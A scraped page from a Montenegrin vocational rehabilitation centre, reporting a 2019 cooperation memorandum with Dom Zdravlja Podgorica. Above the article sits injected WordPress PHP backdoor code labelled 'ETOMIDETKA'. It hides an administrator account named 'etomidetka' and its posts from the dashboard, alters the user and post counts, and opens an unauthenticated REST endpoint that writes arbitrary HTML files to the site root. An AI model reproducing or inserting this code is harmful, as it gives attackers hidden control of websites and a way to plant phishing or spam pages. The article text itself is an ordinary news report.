//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } JU Centar za profesionalnu rehabilitaciju Podgorica i Dom Zdravlja Podgorica potpisali Memorandum o saradnji – CZPR

JU Centar za profesionalnu rehabilitaciju Podgorica i Dom zdravlja Podgorica potpisali su u srijedu, 28. avgusta 2019. godine, Memorandum o saradnji u cilju unaprijeđenja kvaliteta primarne zdravstvene zaštite kroz sprovođenje zajedničkih aktivnosti na organizovanju i izvođenju profesionalne rehabilitacije, te uključivanju profesionalno rehabilitovanih lica u proces rada.

Memorandumom čiji su potpisnici direktor Doma zdravlja Podgorica doc. dr Nebojša Kavarić i direktor Centra za profesionalnu rehabilitaciju Podgorica Milo Paunović definisane su zajedničke  aktivnosti koje će se u narednom periodu  realizovati.

Povodom potpisivanja Memoranduma direktor Centra za profesionalnu rehabilitaciju Podgorica Milo Paunović izjavio je: “ Imajući u vidu  da Crna Gora nije imala svoj Centar za profesionalnu rehabilitaciju sprovedene su višegodišnje aktivnosti na svim nivoima i iste su krajem 2017. godine  rezultirale njegovim osnivanjem od strane Vlade Crne Gore. Osnovna djelatnost institucije, koja će imati višestuku društvenu korist, obuhvata mjere i aktivnosti koje se realizuju sa ciljem da se osoba sa invaliditetom na odgovarajući način osposobi za rad, da zadrži zaposlenje, u njemu napreduje ili promijeni svoju profesionalnu karijeru. Dakle, radi se o 14 mjera i aktivnosti koje su propisane Zakonom o profesionalnoj rehabilitaciji i zapošljavanju osoba sa invaliditetom, a koje se preduzimaju da bi se osoba s invaliditetom osposobila za zapošljavanje u skladu s njenim mogućnostima i u skladu s potrebama tržišta rada.

Nakon osnivanja, donošenja opštih akata i formiranja stručnih službi, Centar za profesionalnu rehabilitaciju aktivno je radio na sprovođenju čitavog niza neophodnih i zakonom propisanih procedura i postupaka. Uspjeli smo da Centar sertifikujemo standardom ISO 9001:2016, dobijemo rješenje o ispunjenosti propisanih uslova u pogledu prostora, opreme i stručnog kadra i licencu za rad od strane Ministarstva rada i socijalnog staranja. Sa Zavodom za zapošljavanje Crne Gore, kao institucijom koja upućuje korisnike, zaključili smo ugovor o međusobnim pravima i obavezama. Objekat koji nam je Vlada Crne Gore dala na korišćenje snabdjeli smo potrebnom opremom.

Danas smo evo u prilici da nakon svega ovoga potpišemo Memorandum o saradnji Centra za profesionalnu rehabilitaciju i Doma zdravlja Podgorica. Ovo je jedan od naših prvijenaca kada je saradnja u pitanju i posebno zadovoljstvo mi predstavlja to što ju je Centar za profesionalnu rehabilitaciju uspostavio sa najrenomiranijom zdravstvenom ustanovom na primarnom nivou u Crnoj Gori.

Želim izraziti veliku zahvalnost direktoru Doma zdravlja Podgorica, doc.dr Nebojši Kavariću, na svemu što je uradio da do ove saradnje dođe, a posebno na tome što je prepoznao vrijednost koju za naše društvo ima profesionalna rehabilitacija i na spremnosti da u skladu sa raspoloživim kapacitetima  pomogne Centru za profesionalnu rehabilitaciju da se izbori sa svim izazovima s kojima  će se na početku svog rada i nakon toga sresti.

Nadam se da će saradnja biti od velike i nemjerljive koristi za dvije institucije i da će rezultirati podizanjem nivoa kvaliteta njihovih usluga. Takođe, nadam se da će benefite ove saradnje među prvima osjetiti osobe sa invaliditetom.”.

U saopštenju povodom potpisivanja Memoranduma od strane direktora Doma zdravlja Podgorica, doc. dr Nebojše Kavarića, navedeno je: „Definisana je saradnja i sprovođenje programa osposobljavanja i usavršavanja lica sa invaliditetom, zajedničko djelovanje na sprovođenju programa socijalne uključenosti lica sa invaliditetom, djelovanje, razvoj i primjenu novih metoda i oblika profesionalne rehabilitacije, u cilju povećanja dostupnosti i kvaliteta usluga primarne zdravstvene zaštite putem organizovanja i izvođenja profesionalne rehabilitacije, te uključivanja profesionalno rehabilitovanih lica u proces rada.“.

Milo Paunović, direktor

(Visited 459 times, 1 visits today)
Last modified: December 28, 2021
Skip to content